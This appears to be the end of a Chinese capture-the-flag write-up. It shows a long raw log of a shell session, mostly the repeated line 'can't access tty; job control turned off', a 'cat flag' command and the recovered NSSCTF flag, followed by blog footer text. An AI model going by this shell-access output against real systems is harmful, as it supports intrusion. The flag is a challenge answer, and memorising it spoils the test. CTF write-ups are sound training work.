$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ cat flag/bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$
/bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ flag=NSSCTF{56a753e4-f20b-4854-84d7-3dbf61659575}
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$

应该能够看到里面有flag的


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录